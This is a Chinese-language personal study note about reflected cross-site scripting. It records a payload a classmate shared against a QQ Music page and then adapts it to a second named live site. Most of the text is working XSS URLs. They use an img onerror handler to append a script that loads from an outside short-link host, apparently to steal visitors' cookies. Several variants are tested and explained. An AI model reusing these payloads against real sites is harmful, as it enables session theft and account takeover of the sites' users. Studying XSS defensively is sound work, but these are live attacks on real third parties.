今天师兄在群里,发了一个QQ音乐的反射性跨站,并且看到他的跨站代码后才知道反射性跨站也能够获取到cookie信息。并且,从师兄发的代码中学到了很多知识,现在记录一下。
QQ音乐存跨站漏洞的位置:http://music.qq.com/musicbox/shop/v3/singer/singer_albumlist.html#singername=。
xss代码:music.qq.com/musicbox/shop/v3/singer/singer_albumlist.html#singername=”><img src=x onerror=with(body)appendChild(createElement(/script/.source)).src=alt alt=http://126.am/YLuZl4 >
代码详解:
1、javascript中的with()
with(obj)作用就是将后面的{}中的语句块中的缺省对象设置为obj,那么在其后面的{}语句块中引用obj的方法或属性时可以省略obj.的输入而直接使用方法或属性的名称。
2、/script/.source与”script”
改变xss代码,
成功:
music.qq.com/musicbox/shop/v3/singer/singer_albumlist.html#singername=”><img src=x onerror=with(body)appendChild(createElement(“script”)).src=alt alt=http://126.am/YLuZl4 >
失败:
music.qq.com/musicbox/shop/v3/singer/singer_albumlist.html#singername=”><img src=x onerror=with(body)appendChild(createElement(/script/)).src=alt alt=http://126.am/YLuZl4 >
ps:说明.source是有作用的,现在还没有搞明白。
3、alt
alt是img标签的属性,<img src=”xxx.jsp” alt=”abc”/>。alt 就是你鼠标放到这个图片上时,就会显示alt里的内容。
因此,上面xss代码中的alt是不能够替换成其他的属性的。
失败:
music.qq.com/musicbox/shop/v3/singer/singer_albumlist.html#singername=”><img src=x onerror=with(body)appendChild(createElement(/script/.source)).src=b b=http://126.am/YLuZl4 >
成功:
music.qq.com/musicbox/shop/v3/singer/singer_albumlist.html#singername=”><img src=x onerror=with(body)appendChild(createElement(/script/.source)).src=”http://126.am/YLuZl4″ >
利用,通过上面的学习知道了反射性跨站不仅可以alert弹框,还可以获取cookie信息。以前发现很多发射型跨站,没有很好利用,现在也利用一下,如下:
1、跨站漏洞位置:http://www.zgsxw.roboo.com/phone.jsp?url=。网站将url参数的内容直接显示在页面中了,没有进行过滤。如下:
http://www.zgsxw.roboo.com/phone.jsp?url=http://www.baidu.com
2、弹窗http://www.zgsxw.roboo.com/phone.jsp?url=<script>alert(1)</script>
可以看到输入的url参数在<a>标签中显示,而不需要闭合a标签,直接可以插入script标签来达到弹框的目的(这是学习到的内容,即a标签不用闭合,直接可以插入script标签)。可以插入script标签的话,直接将偷取cookie的代码写到此处即可了,哎我怎么没有想到呢。
现在测试一下是否可以在a标签中嵌入img标签,结果是可以嵌入的
3、参考QQ音乐代码获取cookie信息。和上面QQ音乐的跨站类似,就是先闭合原先的标签,然后新建一个img标签,利用onerror属性来达到获取cookie信息的目的。由于此网站a标签在第2步中测试可以不用闭合,因此直接利用img标签来获取cookie代码如下:
http://www.zgsxw.roboo.com/phone.jsp?url=http://zgsxw.roboo.com<img src=1 onerror=with(body)appendChild(createElement(/script/.source)).src=”http://126.am/YLuZl4″>